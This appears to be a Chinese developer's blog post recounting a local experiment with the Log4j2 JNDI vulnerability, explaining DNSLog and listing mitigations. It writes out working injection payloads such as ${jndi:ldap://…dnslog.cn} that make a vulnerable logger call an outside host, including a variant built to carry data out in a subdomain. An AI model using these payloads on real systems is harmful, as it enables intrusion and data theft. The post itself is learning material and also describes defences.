当我在围观log4j2漏洞时,我在想什么?

昨天一整天都在被公司群、闲聊扯淡群、知乎上log4j2漏洞的事情刷屏。各位小伙伴分享着自己公司的解决方案,吐槽半夜被叫醒加班补漏洞,还有说全公司都在发版导致发布系统挂了现在只能划水吃瓜。当然,还有各种科普贴描述漏洞的原因、攻击原理以及千篇一律的带有计算器的被打码的截图和这个dnslog.cn网站的dns记录截图。

img

作为一名纯粹的后端搬砖程序员,平日对安全领域真的是没啥涉猎。所以这个网站是干啥的?为啥有记录就证明百度、iCloud被攻击了?于是抱着学习的态度研究了一番,有了一丢丢的收获。

DNSLog网站是干啥的?

讲人话:DNSLog可以为你免费分配一个二级域名,并记录这个二级域名做DNS解析过程中的域名和IP映射关系的请求记录。当你对这个二级域名进行请求时,自然会进行DNS解析,所以你就会在当前的页面查看到解析的记录。

比如我随机分配到了这个域名:7lqs4g.dnslog.cn

之后我请求这个域名,当然,什么都不会返回。但是在DNSLog的页面上,会显示域名解析记录,如图:

1

如何证实漏洞?

本次的log4j2漏洞,是通过构造一个${jndi:ldap://blabla.com}格式的字符串,在log4j2打印包含这个字符串的日志时,通过JNDI对ldap://blabla.com进行请求。所以,如果能注入成功,则在请求网址的时候,会对blabla.com这个域名进行解析,并留下解析记录。

所以这就是为什么,用DNSLog网站的截图来证明,各大网站存在漏洞的原因。因为注入成功就会有记录呀。

于是在本地也感受一下。新建一个Spring Boot的Web项目,配置好我们这次的主角log4j2。

img

写一个简单的post请求的接口,里面的内容就是输出请求的信息。对这个接口进行正常的请求,输出如下:

img

之后我们在将请求构造成注入攻击的格式,带上我们新申请的二级域名:${jndi:ldap://gc46bp.dnslog.cn}。再发起一次请求,结果如图:
202112140001
img

可以看到,攻击生效了,回到DNSLog页面上刷新一下DNS解析记录,已经出现了。

img

漏洞解决

目前各大厂给出的方案有以下几个:

彻底解决方案

log4j升级到2.15.0版本

暂时解决方案

  • 修改log4j2配置:log4j2.formatMsgNolookups=True
  • 修改JVM参数 -Dlog4j2.formatMsgNoLookups=true

这个方案我尝试之后是可行的

img

平替方案

那就是不用log4j2啦,直接用logBack就好了哈哈哈哈。

因为自己的项目使用的是logback,所以这一整天就看别人在那升级版本上线了,全程吃瓜。

而且也因为Spring Boot是默认使用的logback,所以做测试的项目创建后忘了配置接入log4j2,测了几次发现没bug啊……尴尬。

DNSLog还能干啥

再说回到DNSLog。那这个网站就只是看一下DNS解析记录?并不是,其实他的作用是对注入获得的信息进行回显。你可以将要回显的信息构造成子域名,这样信息就可以直接在DNS解析记录里看到了。

202112140002

设计一个蹩脚的漏洞来攻击

那么我们就可以结合刚才的知识,来设计一个暴露网站敏感信息的供给。假如我的脑残网站有这样的代码:

img

然后我构造如下的入参,进行注入攻击:${jndi:ldap://{}.hbh9cz.dnslog.cn}

可以看到,实际上输出的日志变成:

img

再查看DNSLog的解析记录,可以看到我们要的信息已经带出来了。

img

好啦,以上就是这篇文章的全部内容了。仅仅是一个【没有接触过安全领域的后端搬砖码农】的【学习记录过程】,在各位大佬面前班门弄斧啦。

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小白码上飞

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值